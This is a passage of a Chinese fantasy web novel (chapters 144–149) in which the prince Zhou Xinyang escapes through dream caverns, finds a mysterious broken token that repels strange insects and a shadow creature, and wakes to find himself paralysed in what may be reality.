周昕阳咬紧牙关,怀揣着用命换来的药材和线索,再次没入无边黑暗,他的身体已经濒临极限,意识如同风中的残烛,随时可能熄灭。
但他知道,自己还不能倒下。
这场在梦境绝境中的搏命探险与情报争夺,远未结束。
而刚刚获取的关于赤阴藤、毒草配伍以及那神秘地下石室的线索,如同黑暗中的微光,或许能照亮他前行的路,也为他回归现实后的破局,增添一分宝贵的筹码。
只是,他还能撑多久?
**……
或许下一刻,他就会彻底倒下,再次陷入黑暗。
不过没关系,等梦境苏醒,一切就能恢复原样。
周昕阳这样想着,脚下的步伐越加坚定。
第144章 诡异令牌
黑暗如同实质的潮水,从四面八方挤压而来。
周昕阳的呼吸已经乱得不成章法,每一次吸气都带着铁锈般的腥甜,胸腔里火烧火燎的疼,像是塞进了一团正在燃烧的干草。
身后的脚步声越来越近,混杂着士兵的呼喊声,尖锐又急促。
更让人头皮发麻的,是那无处不在的“嗡嗡”声。
这声音如同无形的鞭子,一下下抽打着他的神经,提醒着他玄微**的“周天星罗阵”已经全面运转。
周昕阳拖着残破的身躯,在幽深曲折的地下通道中跌跌撞撞地狂奔,脚下的石板湿滑冰冷,好几次都差点摔倒。
怀中的赤阴藤和暗紫色毒草硌得胸口生疼,可他不敢松手,这是他用命换来的线索。
眼前的黑暗不断晃动,重叠出模糊的光影,视线已经开始发花。
周昕阳很清楚,自己体内残留的阴寒毒素,还有脑中躁动不安的金色印记,在周天星罗阵的探查下,就如同黑夜中的明灯,根本藏不住。
“必须……必须找到能屏蔽阵法感应的地方!”
这个念头如同最后一丝火苗,在他濒临熄灭的意识中顽强燃烧。
他拼命回忆着玄微**之前说过的话,阵法感应的核心是气血与异常气机。
之前那处刻有诡异眼状螺旋图案的地下石室,气息本身就异常浓郁,会不会反而能干扰阵法的探查?
或者说,那间石室里,本身就存在着某种能隔绝探查的布置?
可这个念头刚冒出来,就被他压了下去。
返回石室的风险太大,沿途全是追兵,大概率没等靠近就会被发现。
周昕阳一边拼命奔跑,一边强迫自己冷静下来。
通道似乎永无止境,岔路开始越来越多。
有些岔路边缘整齐,明显是人工开凿的痕迹;有些则崎岖不平,像是天然形成的岩缝。
空气的流动也变得复杂起来,时而有清凉的微风从侧面吹过,时而又夹杂着一股难以言喻的恶臭。
那恶臭像是某种东西腐烂了很久,带着黏腻的腥气,闻一口就让人胃里翻江倒海。
体力已经濒临极限,双腿沉重得像是灌了铅,每抬一次脚都要耗费巨大的力气。
脚步开始踉跄,身体不由自主地向一侧倾斜,眼前的黑暗越来越浓,几乎要将他彻底吞噬。
就在这时,前方的通道豁然开朗。
周昕阳踉跄着冲出通道口,发现自己竟然进入了一个天然溶洞。
溶洞空间不小,洞顶倒悬着一根根湿漉漉的钟乳石,表面凝结着晶莹的水珠,时不时有水滴落下,在空旷的溶洞中发出“嘀嗒、嘀嗒”的声响,格外清晰。
地上散落着大小不一的石块,棱角被水流打磨得有些光滑。
周昕阳的目光快速扫过溶洞,心脏猛地一跳。
在溶洞的一角,岩壁呈现出不规则的凹陷,形成了一片相对隐蔽的阴影区域。
最关键的是,那片区域的岩壁上,竟然隐隐反射着极其微弱的暗绿色磷光!
这磷光实在太微弱了,若非身处绝对的黑暗中,几乎不可能被察觉。
可此刻,这丝微弱的绿光,就如同黑夜里的萤火,成了他唯一的希望。
周昕阳来不及细想,用尽最后一丝力气,朝着那片磷光阴影扑了过去。
身体重重撞在岩壁上,发出一声闷响,疼得他眼前一黑。
刚一进入阴影范围,一股奇特的凉意就瞬间笼罩了他的全身。
这凉意带着微微的腥气,却并不刺骨,反而让他混沌的大脑清醒了几分。
更让他惊喜的是,那一直如影随形的“嗡嗡”声,竟然减弱了!
原本清晰可闻的阵法感应声,此刻变得断断续续,模糊不清,仿佛被一层无形的隔膜隔绝在了外面。
“有用!这里果然能干扰阵法!”
周昕阳心中狂喜,背靠冰冷的岩壁滑坐下来,身体几乎完全瘫软。
岩壁上覆盖着一层滑腻的苔藓,触感冰凉湿润,蹭得他后背一阵发痒。
暂时安全了,至少短时间内,
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追兵和阵法很难精确锁定他的位置。
周昕阳不敢点燃任何光源,只能借着那极其微弱的暗绿色磷光,小心翼翼地打量四周。
这片凹陷区域约莫能容纳两三人藏身,地上铺着一层厚厚的灰尘。
那灰尘不知积攒了多少年,厚得能没过脚踝,踩上去会发出细微的“沙沙”声。
周昕阳的目光在灰尘中仔细搜索,很快就发现了一些不寻常的痕迹。
几枚早已枯朽的蘑菇状物体散落在一旁,轻轻一碰就化作了粉末。
还有一些细小的骨骸,像是某种啮齿类动物的遗骸,零散地分布在灰尘中。
而最让他在意的,是半个深深嵌入灰尘中的物体。
那物体颜色暗沉,非金非木,形状不规则,看起来像是一块断裂的令牌。
周昕阳的心脏瞬间提到了嗓子眼,他屏住呼吸,小心翼翼地伸出手,拨开表面的灰尘。
手指触碰到那物体的瞬间,一股冰凉沉重的触感传来。
他缓缓将这半个令牌从灰尘中挖了出来,捧在手心。
令牌约莫巴掌大小,边缘有明显的断裂痕迹,像是被人生生掰断的,断裂面参差不齐,布满了岁月侵蚀的痕迹。
这令牌的材质很奇特,似铁非铁,似石非石,入手沉重,表面布满了细密的、如同蛛网般的暗金色纹路。
指尖划过纹路,能感觉到一丝细微的凉意,仿佛这令牌本身就带着一股阴寒之气。
借着微弱的磷光,周昕阳勉强看清了令牌的正面。
上面刻画着一个极其抽象的图案——三道螺旋线条相互缠绕,形成了一个眼睛的轮廓。
这个图案,和之前地下石室墙壁上那个复杂的眼状螺旋图案,在神韵上隐隐有几分相似。
但令牌上的图案更加古朴、简练,透着一股难以言喻的邪恶与诡异。
图案下方,还刻着两个极其扭曲的符号,既不像大周的文字,也不是他认识的任何一种西域文字。
周昕阳又翻转令牌,看向背面。
第145章 怪虫
背面刻着一行更加细小的扭曲文字,排列方式古怪至极。
可就在这些文字中间,他看到了一个异常眼熟的符号!
正是之前在地下石室壁龛底部,以及暗格内壁刻着的那种扭曲符号!
而且,这个符号比之前看到的更加完整、清晰。
“这令牌……是那个神秘势力的东西!”
周昕阳心中掀起惊涛骇浪,握着令牌的手指微微颤抖。
这半个令牌的出现,直接将之前所有的线索碎片串联在了一起!
地下石室的诡异图案、残留的毒草、奇怪的符号,还有眼前这枚令牌上的纹路与符号,必然同出一源!
这就证实了那股神秘势力确实存在,而且很可能在玄机观的地下有过长期、重要的活动。
他将令牌紧紧攥在手中,冰凉的触感让他混乱的头脑清醒了几分。
就在这时,一股极其微弱的共鸣感从令牌上传来。
这共鸣感直接作用在他的脑海中,与那枚金色印记产生了呼应,带来一丝轻微的刺痛。
但除了刺痛,更多的是一种奇异的“同源”般的吸引感。
这感觉让他既警惕又兴奋,警惕的是这股未知的力量,兴奋的是自己离真相又近了一步。
就在周昕阳沉浸在发现令牌的震惊中时,一阵极其轻微的“沙沙”声,突然从溶洞另一侧的黑暗中传来。
这声音很轻,轻得几乎要被溶洞里的滴水声掩盖。
但周昕阳的神经早已紧绷到了极致,瞬间就捕捉到了这异常的声响。
这声音不像是人的脚步声,也不像是老鼠之类的小动物在活动。
倒像是……无数细小的爪子,在岩石地面上快速爬行的声音!
而且,空气中那股若有若无的**恶臭,似乎也变得浓郁了几分。
周昕阳瞬间屏住了呼吸,身体紧紧贴在岩壁凹陷的最深处,将自己藏得更隐蔽了。
他手中下意识地握紧了那半块冰冷的令牌,目光死死盯着声音传来的方向。
暗绿色的微弱磷光,只能照亮他身前尺许的范围。
更远处的黑暗,如同择人而噬的巨口,让人看不清里面隐藏着什么。
“沙沙……沙沙沙……”
声音越来越近,越来越密集。
紧接着,几点幽绿色的、米粒大小的光点,突然在黑暗中亮了起来。
这些光点如同鬼火般飘忽不定,缓缓朝着他所在的磷光区域靠近。
借着那幽绿的光点,周昕阳终于看清了来物的模样。
那是一种他从未见过的怪虫!
虫子约莫拳头大小,身体扁平,覆盖着一层黑亮光滑的甲壳,甲壳上泛着金属般的光泽。
它们的头部有一对巨大的、如同镰刀般的前颚,不断开合着,发出细微的“咔嚓”声,听起来异常锋利。
最诡异的是,这些虫子的背上,竟然生长着几片类似苔藓或菌类的暗绿色发光体。
之前看到的幽绿光点,正是这些发光体散发出来的。
虫子的复眼在磷光下反射着冰冷的光泽,密密麻麻的,让人头皮发麻。
周昕阳浑身汗**倒竖!
“是守墓虫?还是那种怪虫的变种?”
他心中飞快闪过一个疑问。
这些虫子怎么会出现在玄机观的地下深处?
难道这溶洞深处,连接着某个更古老的、与那神秘势力相关的遗迹,或者……墓葬?
来不及细想,虫群已经逼近了磷光区域。
它们似乎对这片磷光岩壁有些忌惮,在边缘逡巡了片刻,没有立刻冲进来。
但周昕阳身上伤口散发出的血腥气,以及怀中赤阴藤、毒草特有的气味,对它们显然有着致命的吸引力。
几只胆子较大的虫子,已经开始试探性地朝着磷光范围边缘爬来。
它们的镰刀状前颚不断开合,发出令人牙酸的摩擦声,一步步逼近。
周昕阳后背瞬间被冷汗浸透。
他现在手无寸铁,重伤濒死,连站立的力气都没有,面对这密密麻麻的诡异虫群,几乎是必死之局!
难道刚刚找到重要线索,就要葬身虫腹?
不!绝对不行!
他的目光飞快扫过周围,最终落在了手中那半块
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冰冷的令牌上。
这令牌属于那个神秘势力,而这些怪虫显然也与那势力有关。
那么,这令牌会不会对它们有某种克制或影响?
这是绝境中唯一的希望,也是最后的指望!
周昕阳猛地一咬牙,用尽全身力气,将手中的半块令牌,狠狠朝着虫群最密集的方向掷了过去!
他不是要砸中它们,而是要试探!试探这令牌对这些虫子的作用!
“当啷!”
半块令牌砸在坚硬的岩地上,发出清脆的响声。
令牌在地上翻滚了几下,最终停在了磷光区域与黑暗的交界处。
令牌上那些暗金色的纹路,在周围幽绿虫光和岩壁微弱磷光的映照下,竟然微微亮了一下!
就在令牌落地亮起的瞬间,虫群的动作,骤然停滞了!
所有的虫子,无论大小,都同时转向了令牌落地的方向。
它们幽绿的复眼齐刷刷地“盯”着那半块令牌,镰刀状的前颚停止了开合,背上的发光苔藓忽明忽暗,仿佛在传递着某种信息。
紧接着,诡异的一幕发生了。
虫群如同潮水般向后退去,快速远离了令牌所在的位置。
它们并没有彻底离开,而是**在稍远一些的黑暗中,静静地“注视”着令牌。
那模样,既像是在确认什么,又像是在……畏惧?
或者说,是某种源自本能的、对“上位者”标识的顺从?
周昕阳的心脏狂跳不止,几乎要从嗓子眼里蹦出来。
赌对了!
这令牌果然有用!
他强忍着立刻冲过去捡回令牌的冲动,屏息凝神,仔细观察着虫群的动态。
虫群在退开一段距离后,便不再前进,也不再后退。
它们只是静静地停留在黑暗与磷光的交界处,如同最忠诚也最诡异的守卫,将这片凹陷区域包围了起来。
空气中那股**恶臭依旧浓郁,但虫群本身,却暂时失去了攻击性。
“它们是在守护这片磷光区域?还是仅仅因为令牌而蛰伏?”
周昕阳脑中飞快思索着。
第146章 令牌的作用
这溶洞,这磷光岩壁,这令牌,还有这些怪虫……彼此之间,必然存在着某种不为人知的联系。
这里绝不仅仅是一个简单的藏身之处,更可能是那个神秘势力留下的、一个尚未被玄机观发现的秘密节点!
暂时安全了,但危机并未真正解除。
虫群环伺在外,他依然被困在这小小的凹陷之中,插翅难飞。
而且,令牌离他有几步之遥,一旦离开这片磷光区域,是否会立刻引来虫群的攻击,还是个未知数。
更重要的是,他必须尽快处理伤势,分析**成分。
否则不等虫子或追兵找到他,他自己就要先撑不住了。
周昕阳靠在冰冷的岩壁上,剧烈地喘息着,开始检查自己的身体状况。
身上的外伤有多处,最严重的是后背和手臂上的划伤,伤口还在隐隐渗血。
失血过多让他脸色苍白如纸,眼前时不时会发黑。
内腑也受到了震荡,稍微用力呼吸就会牵扯着疼。
体内的毒性似乎有扩散加剧的迹象,四肢已经开始出现轻微的麻木感。
脑中的刺痛和金色印记的异动也未曾停歇,一阵阵的眩晕感不断袭来。
当务之急,是先延缓毒性扩散,处理好伤口,止住流血。
他忍着剧痛,慢慢抬起手,撕下了还算干净的里衣下摆。
布料粗糙,摩擦着伤口带来一阵钻心的疼,让他忍不住闷哼了一声。
他咬着牙,用布料草草包扎了身上几处较深的伤口,尽量勒紧,暂时止住了流血。
做完这一切,他已经耗尽了大半力气,瘫靠在岩壁上,大口喘着气。
休息了片刻,他小心翼翼地伸出手,从怀中取出那两种药材——赤阴藤和暗紫色毒草。
赤阴藤呈暗红色,形状扭曲,入手冰凉,带着一股淡淡的辛辣与腐朽混合的气味。
那暗紫色的毒草则更加诡异,叶片呈现出近乎发黑的紫黑色,形状狭长,边缘有细密的锯齿。
即便已经干枯,依旧能闻到那股混合了腥甜与清凉的奇异气息,和之前在地下石室残留的气味一模一样。
周昕阳闭上眼睛,努力回忆着在药庐图册上匆匆一瞥看到的记载。
“赤阴藤,主产地西域火山地带,性极阴寒,蚀人气血,久服致幻,损及心脉……”
“常与腐骨花、冥苔粉、忘忧草汁等阴性毒物配伍,可制蚀心散,无色无味……”
“中者初时不觉,十二时辰后心脉渐衰,气血逆乱,如有万蚁噬心,最终脏腑衰竭而亡……”
这些文字在他脑海中清晰浮现,让他脸色更加难看。
他睁开眼,再次看向手中的暗紫色毒草。
药庐的图册上,似乎没有明确记载这种毒草。
但看其性状,必然是剧毒无疑,而且那股独特的腥甜与清凉之气,绝非寻常毒物所有。
“这清凉之气,似乎能暂时压制赤阴藤的阴寒灼痛?”
周昕阳心中闪过一个猜测。
但他很清楚,这种暂时的压制,大概率是饮鸩止渴,后续必然会带来更可怕的后果。
为了确认这毒草的特性,他尝试着掰下一小片暗紫色毒草的叶片。
叶片质地干硬,一掰就碎,掉落下几缕细小的粉末。
他将叶片放在鼻尖,仔细嗅闻起来。
除了那股奇异的腥甜清凉气息,还能隐约感觉到一丝微弱的、直冲灵台的麻痹感。
他不敢轻易品尝,只是用舌尖极其轻微地舔了一下叶片的断口处。
瞬间,一股难以形容的尖锐苦涩,混合着诡异的清凉感,在舌尖炸开!
紧接着,那麻痹感以极快的速度蔓延开来。
短短几息之间,整个舌尖和嘴唇就彻底失去了知觉,仿佛不是自己的一样。
与此同时,他脑中的那枚金色印记,仿佛被投入了一颗石子的水面,猛地漾起一圈剧烈的波纹!
一阵强烈的眩晕和刺痛感袭来,让他眼前发黑,差点栽倒在地。
“这毒草……不仅能伤身,竟还能刺激神魂,引动那印记气机!”
周昕阳心中骇然,连忙吐出残留的草汁,用衣角使劲
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擦拭着嘴唇和舌尖。
过了好一会儿,那麻痹感才缓缓退去。
但脑中的刺痛和金色印记的异动,却久久未能平息。
“好霸道的毒性!果然与那金色印记有关!”
周昕阳心有余悸,将手中的毒草小心翼翼地收了起来。
这毒绝非寻常**,而是专门针对身怀特殊印记,或者修炼了特定**之人的邪毒!
难怪连孙太医和玄微**都感到棘手。
“配方中有赤阴藤、这暗紫色毒草,可能还有腐骨花、冥苔粉、忘忧草汁……甚至更多未知成分。”
周昕阳在心中梳理着,脸色越来越沉重。
解毒,难如登天。
除非能找到下毒之人,或者得到完整的配方及解药,否则他迟早会毒发身亡。
这个念头让他的心沉到了谷底。
这几乎是一个不可能完成的任务。
就在周昕阳苦思解毒无门,又被虫群困于此地,陷入进退维谷的绝境时,溶洞深处,突然传来了一阵极其轻微,却异常清晰的声响。
是滴水声。
但又不同于普通的滴水声。
这声音更加粘稠,更加规律,仿佛有什么东西,在有节奏地滴落,敲击在石面上。
“哒……哒……哒……”
声音不高,却在寂静的溶洞中异常清晰,一步步敲击在周昕阳的心上。
与此同时,空气中那股**的恶臭,似乎也变得更加浓郁。
而且,在这恶臭之中,还隐隐夹杂了一丝极其淡雅的香气。
这香气类似檀香,却又更加古老、更加沉郁,与周围的环境格格不入。
周昕阳猛地想起,在地下石室那诡异图案附近,也曾闻到过一丝类似的余韵!
只是这里的气味,更加明显,源头也更加明确!
虫群似乎也察觉到了这股异常。
它们原本安静蛰伏的状态被打破,开始躁动不安起来。
背上的幽绿光点明灭闪烁的频率加快,发出细微的“窸窣”声。
紧接着,令人震惊的一幕发生了。
第147章 再次昏迷
**在黑暗中的虫群,竟然缓缓向两侧分开,形成了一条狭窄的通道。
它们像是在为某种东西……让路?
周昕阳的瞳孔骤然收缩,死死盯向溶洞深处,那声音和香气传来的方向。
磷光与黑暗的交界处,阴影开始缓缓蠕动、拉长。
一个模糊的、佝偻的身影,从绝对的黑暗中,一点一点地“流淌”而出。
说它是流淌,是因为这身影没有清晰的轮廓,仿佛由最深的阴影和**的气息凝聚而成。
它的身上披着一件破烂不堪的黑袍,黑袍上布满了孔洞,边缘已经腐朽发黑。
它踏着粘稠的、如同踩在积水里的步伐,每一步落下,都能听到轻微的“咕叽”声。
这身影所过之处,连岩壁上那微弱的磷光,似乎都被吞噬、黯淡了下去。
整个溶洞的温度,仿佛都降低了几分,变得阴冷刺骨。
唯有两点猩红的、如同燃烧余烬般的微弱光点,在那应该算是“头部”的位置,缓缓亮起。
这两点猩红光点,无声地“注视”着周昕阳,以及他身前不远处,那半块静静躺在地上的断裂令牌。
“嗬……嗬……”
一阵如同破旧风箱抽动般的嘶哑喘息声,从那阴影身影的方向传来。
这声音是非人的,带着无尽的腐朽与岁月的气息,听在耳中,让人浑身发冷。
周昕阳浑身僵硬,血液仿佛在这一刻凝固了。
他握紧了拳头,指甲深深刺入掌心,剧烈的疼痛让他维持着最后的清醒。
令牌能震慑那些怪虫,但面对这从溶洞最深处走出的诡异阴影,是否还有用?
这到底是什么东西?
是那神秘势力留在此地的守护者?
还是被某种力量侵蚀污染后,形成的怪物?
周昕阳不知道答案。
他只知道,眼前的这个存在,比之前的追兵和周天星罗阵,更加致命,也更加诡异莫测。
梦境尚未结束。
但属于他的考验,显然才刚刚开始。
那道阴影身影缓缓向前挪动,每靠近一步,周围的空气就越发凝重。
周昕阳能清晰地感觉到,一股强大的、带着毁灭气息的威压,正从那身影身上散发出来,死死锁定了他。
他的心跳已经快到了极致,呼吸都变得困难起来。
他试着调动体内仅存的一丝力气,想要做好应对的准备。
可身体却像是被钉在了原地,根本无法动弹。
那道阴影身影的猩红光点,始终停留在他的身上。
突然,它的“头部”微微倾斜,似乎在打量周昕阳。
紧接着,它缓缓抬起一只“手”。
那根本不是正常的手掌,而是一团模糊的黑影,边缘在不断扭曲变幻。
它的目标,似乎是地上的那半块令牌。
周昕阳的心提到了嗓子眼。
如果这阴影拿到了令牌,他最后的依仗也就没了。
就在这时,地上的半块令牌,突然再次亮起了暗金色的光芒。
这一次的光芒,比之前更加明亮,形成了一道微弱的金色光幕,挡在了阴影身影和令牌之间。
阴影身影的动作一顿,似乎被这道金色光幕阻挡了。
“嗬……”
它发出一声更加嘶哑的喘息,猩红的光点闪烁了几下,似乎有些愤怒。
周昕阳心中一动。
看来这令牌不仅能震慑虫群,对这道阴影也有一定的克制作用!
可这克制作用能持续多久?
他不敢肯定。
阴影身影在金色光幕前停留了片刻,突然猛地向前一扑!
漆黑的“手掌”拍在了金色光幕上。
“滋啦——”
一阵刺耳的摩擦声响起,金色光幕剧烈地晃动起来,光芒瞬间黯淡了大半。
令牌发出的光芒,似乎快要支撑不住了。
周昕阳的脸色变得惨白。
他知道,自己必须想办法自救。
可他现在重伤在身,根本没有反抗的能力。
就在他绝望之际,脑中的金色印记突然剧烈地跳动起来。
一股灼热的感觉从印记处传来,顺着经脉快速流淌至全身。
与此
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同时,地上的半块令牌,也像是受到了某种召唤,光芒再次亮起,比之前更加耀眼!
“轰!”
一声轻微的爆响,金色光幕猛地扩张开来,将阴影身影狠狠弹飞了出去。
阴影身影摔在地上,发出一声沉闷的声响,身上的黑袍散落开来,露出里面更加模糊的黑影。
它挣扎了几下,才缓缓爬起来。
头部的猩红光点,死死盯着周昕阳,充满了怨毒与杀意。
周昕阳愣住了。
他没想到,自己脑中的金色印记,竟然能与地上的令牌产生共鸣!
这到底是怎么回事?
难道这金色印记,本身就与那神秘势力有着千丝万缕的联系?
没等他想明白,阴影身影再次朝着令牌扑了过来。
这一次,它的速度更快,身上的黑气也更加浓郁。
周昕阳的心脏再次提到了嗓子眼。
他能感觉到,脑中金色印记的力量正在快速消耗,刚才的共鸣已经让他透支了最后的力气。
如果这一次支撑不住,他就真的完了。
就在阴影身影的“手掌”即将再次拍在金色光幕上时,溶洞入口的方向,突然传来了一阵急促的脚步声和呼喊声。
“九弟!你在这里吗?”
是二姐周灵薇的声音!
周昕阳心中一震。
二姐怎么会找到这里?
阴影身影显然也听到了这声呼喊,动作猛地一顿。
它头部的猩红光点转向溶洞入口的方向,似乎有些忌惮。
犹豫了片刻,它最终放弃了攻击令牌,转身化作一道黑影,快速朝着溶洞深处逃窜而去,瞬间消失在黑暗中。
虫群见阴影离开,也纷纷调转方向,跟随着阴影,消失在了溶洞深处。
周围的压力骤然消失,那股浓郁的**恶臭也渐渐散去。
周昕阳长长地松了一口气,紧绷的神经瞬间放松下来,眼前一黑,彻底失去了意识。
在他昏迷的最后一刻,他似乎看到二姐周灵薇带着一群士兵,冲进了溶洞,朝着他的方向跑来……
第148章 苏醒
痛!
锥心刺骨的痛!
还有那跗骨之蛆般的阴寒,从四肢百骸、从五脏六腑的最深处渗透出来,冻得他灵魂都在颤抖。
无数破碎、混乱、恐怖的画面在脑海中冲撞、撕扯——扭曲的符文、嘶鸣的怪虫、冰冷的断牌、腐烂的阴影、刺目的金光……最后,所有画面坍缩成一个深不见底的黑暗漩涡,将他无情地吞噬、拖拽,坠向永恒的冰冷与虚无。
“嗬——!”
周昕阳猛地倒抽一口冷气,如同溺水之人终于浮出水面,骤然睁开了双眼!
眼前不再是深邃诡异的溶洞,不再是铺天盖地的怪虫,也没有那令人窒息的阴影身影。
映入眼帘的,是略显陈旧但素净的木质房梁,以及透过简陋窗棂洒入的、带着清晨微凉湿意的朦胧天光。
空气里弥漫着熟悉的、混杂了线香、药草和尘埃的玄机观特有气息,耳边隐约传来远处道观清晨悠长而规律的钟磬之声,间或夹杂着一两声鸟鸣。
是梦……只是一场漫长而痛苦的噩梦?
周昕阳剧烈地喘息着,心脏在胸腔里狂跳,几乎要撞碎肋骨。
冷汗早已浸透了单薄的中衣,黏腻冰冷地贴在皮肤上,带来一种劫后余生的虚脱感。他转动着僵硬的脖颈,目光缓缓扫过四周。
没错,是他之前被“保护”起来的那间玄机观静室。
陈设简单到近乎简陋,一床、一桌、一椅,墙角摆放着一个半旧的铜制香炉,里面三炷安神香早已燃尽,只剩下三小截灰白的香脚。
窗外庭院里那株老槐树的轮廓,在渐亮的天光中清晰起来。
果然……是梦。
一切都是噩梦。
那些惊心动魄的逃亡,地下石室的诡异发现,药庐的混乱,溶洞的绝境,还有那恐怖的阴影……都只是他重伤昏迷后,意识混乱产生的幻象。
他还在梦境中,一切都没变。
周昕阳长长地、带着无尽疲惫和庆幸地呼出一口浊气,紧绷到极致的神经骤然放松,几乎要让他再次晕厥过去。
他习惯性得去摸自己的银壳怀表,却扑了一个空。
他的怀表并不在床头。
这让周昕阳微微蹙眉,喃喃自语:“看来东西已经被收走了。”
“没事,只要确定自己在梦境中就好。”
“一切都能重置,一切都还来得及。”
“只是……”
他记得自己被虫群围困,记得那半块刻着诡异图案的令牌,记得从溶洞深处走出的阴影身影,记得金色印记与令牌共鸣时爆发出的强光。
记得最后一刻,二姐周灵薇的呼喊声穿透黑暗传来。
然后,就是无边无际的黑暗。
“现在还躺在床上,而不是葬身虫腹,或者被那阴影吞噬,看来我被二姐救了……”
周昕阳判断着此刻的环境,他尝试着动了动手指,能感觉到粗麻布被的粗糙触感。
很好,身体的控制权似乎回来了。他微微侧头,想看看窗外天色,判断一下时辰。
然后,他下意识地,想要坐起身来。
腰部用力,腹肌收紧,手臂试图支撑……
下半身,纹丝不动。
仿佛那不是他身体的一部分,而是两块毫无知觉、沉重冰冷的木头,死死地焊在了床板上。
周昕阳脸上的庆幸和疲惫瞬间凝固,如同被打碎的琉璃面具,片片剥落,只剩下最深处泛起的、近乎茫然的惊愕。
他眨了眨眼,怀疑是自己刚醒,力气不济,或者姿势不对。
他再次尝试,更加用力,甚至用手去扳动自己的大腿。
手指触碰到的,是隔着布料也能感受到的、属于人体的温热,甚至因为之前的噩梦盗汗而有些潮湿,但大腿的肌肉……没有任何反应。没有收缩,没有移动,甚至没有传递回任何触感或力反馈。
仿佛他触摸的,是一具与自己无关的、精致的玩偶肢体。
不……不可能!
周昕阳的心脏猛地一沉,像是坠入了冰窟,之前那劫后余生的些微暖意瞬间被冻得粉碎。
一股寒意从尾椎骨猛地窜起,直冲天灵盖,让他头皮发麻,浑身起了一层细密的鸡皮疙瘩。
他猛地低头,视线死死锁住被子下自己双腿的轮廓。
然后,他用尽全身力气,几乎是嘶吼着在脑中下达命令——
动!
给我动起来!
意念如石沉
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大海。双腿安安静静地躺在那里,连最细微的脚趾蜷曲都没有。
冷汗,再次如瀑布般涌出,比刚才更多、更冷。
周昕阳的脸色“唰”地一下变得惨白如纸,没有一丝血色。
他感到一阵天旋地转,眼前阵阵发黑,耳中嗡嗡作响,那是极致的恐惧和难以置信带来的生理反应。
我的腿……我的腿怎么没知觉了?!
“还好,还好是梦境中……”
周昕阳立刻惊醒过来,心中稍稍有一丝安慰。
梦里的一切是虚幻的,等自己苏醒过来,一切就能恢复原状,自己还能回到胡杨林客栈……
正想着,周昕阳突然看见不远处的桌子上,摆放着一块不断走字的怀表,上面赫然写着【15:15】。
“才15点吗?”
“时间过得这么这么慢……”
这个想法刚一浮现,周昕阳脸色就变了。
“不,不可能的,这么长时间过去了,怎么可能才15点?”
“这不是15点,这是3点,3点15分,这是我在现实中苏醒的时间……”
一瞬间,这个可怕的想法,在周昕阳脑子中浮现。
他整个人都慌了。
巨大的恐惧感涌上心头。
这不是梦!
此刻这双腿传来的、令人绝望的空洞和麻木,是如此的真实,真实到让他浑身发抖!
梦境循环被打破了?
改变了现实?
怎么可能?
“我明明什么也没做啊?”
“难道我误打误撞下,触碰到了梦境中的钥匙?”
“这怎么可能……”
“我真的瘫痪了?”
“是那毒?”
“毒性发作了?侵入了经脉,损伤了脊椎,导致了瘫痪?”
“还是强行干扰地脉阵法、引动脑内金色印记带来的反噬?伤了控制下肢的神经或窍穴?”
“亦或是……梦境最后,那阴影身影的凝视,那**与檀香混合的气息,不仅仅作用于梦境,甚至通过某种匪夷所思的方式,影响、侵蚀了他的现实肉身?”
无数可怕的猜想如同毒蛇般钻入周昕阳的脑海,疯狂噬咬着他刚刚稳定下来的心神。
第149章 当前现状
周昕阳猛地想起梦中药庐听到的对话——“如今毒入肺腑,气血两亏,脑中还有那什么气机作祟……难,难啊!”
难道……孙太医和玄微**早就预料到可能会有这样的后果?
所以他们才如此紧张,将他严密“保护”起来?
不,不对。
如果只是毒性或伤势导致的瘫痪,他们不会不告诉他。
这更可能是一种突发的、连他们都未曾预料到的、更加诡异莫测的变化!
“可问题是为什么会这样呢?”
“难道触及邪物,就能直接打破梦境循环?”
“从来没有出现过一次就通关的情况啊?”
“该死!”
周昕阳强迫自己冷静下来,虽然身体因为恐惧而微微颤抖,但思维却以惊人的速度开始运转。
他尝试着深吸几口气,感受胸腔的起伏,还好,呼吸无碍,上半身的控制也基本正常。
他又尝试调动丹田内那微薄得几乎可以忽略不计的残留气机,试图循着经脉向下肢探去。
真气运行到下腹关元穴附近时,便如同撞上了一堵无形而冰冷湿滑的墙壁,再也无法前进分毫。
而在那“墙壁”之后,他只能“感觉”到一片死寂的、冰封的、仿佛不属于自己的混沌区域。
不是堵塞,不是损伤,而是一种更本质的……“断开”和“冻结”。
与此同时,脑仁深处传来一阵熟悉的、如同针扎般的细微刺痛。
是那枚金色印记残留的气机,在隐隐躁动。这刺痛感,与梦中触动地下石室符号时的感觉,如出一辙!
难道……真的与那印记,与梦中经历有关?
周昕阳的心一点点沉入谷底。如果只是单纯的毒发或伤势,或许还有救治的希望。
但若涉及那诡异的金色印记,涉及梦中那些超越常理的力量和存在……事情就完全超出了他的理解和掌控范围。
他缓缓抬起手,放在自己眼前。手指因为用力而微微颤抖,但还能活动。
他尝试回忆梦中强行干扰地脉时,那模糊人影结出的手印,那奇异步伐带来的、与地气隐约共鸣的感觉……脑海中相关的记忆碎片还在,但当他尝试在心中默默观想、模拟时,却没有丝毫异样发生,只有脑中的刺痛感略微加剧了一些。
现实与梦境的界限,似乎在此刻变得模糊而危险。梦境中获得的信息、遭遇的诡异,正在以一种他无法理解的方式,侵蚀、改变着他的现实。
“来人……”他张开嘴,试图呼唤守在外面的道士或者侍卫。声音出口,却嘶哑干涩得如同破旧风箱,微弱得连他自己都几乎听不清。
他需要帮助。
他必须立刻弄清楚自己双腿的状况!
必须立刻见到孙太医,见到玄微**!
不,他甚至想立刻见到父皇,问清楚这到底是怎么回事!
那无缝方匣,那金色印记,那晚的袭击,还有梦中那一切……背后究竟隐藏着什么?
然而,就在他试图提高音量,再次呼喊时,静室的门外,突然传来了刻意放轻、但仍清晰可辨的脚步声,以及压低的交谈声。
不是寻常道士或侍卫巡逻的整齐步伐,而是带着一种小心翼翼、仿佛在窥探什么的声音。
“……确定还在昏睡?这安神香的剂量,可是**亲自配的,按理说不到午时绝不会醒。”一个略显尖细的嗓音低声道,语气中带着一丝不确定。
“放心吧,李公公亲自来看过,气息平稳得很。再说了,就泽川王殿下那身子骨,中了那么厉害的毒,又折腾了那么一场,能捡回条命就不错了,这次昏睡这么多天……谁知道什么时候能醒来呢?哪怕醒过来,能否接受现在的状态,也是个未知数……”
另一个声音更加沉稳些,但也透着些微的不耐烦,“咱们就是按吩咐,定时听听动静,别出什么岔子就行。真要有事,里面那两位高人还能不知道?”
李公公?
父皇身边那位深得信任的内侍总管?
他亲自来看过?
还有里面那两位高人?
是指看守他的道士,还是……玄微**另外安排了人?
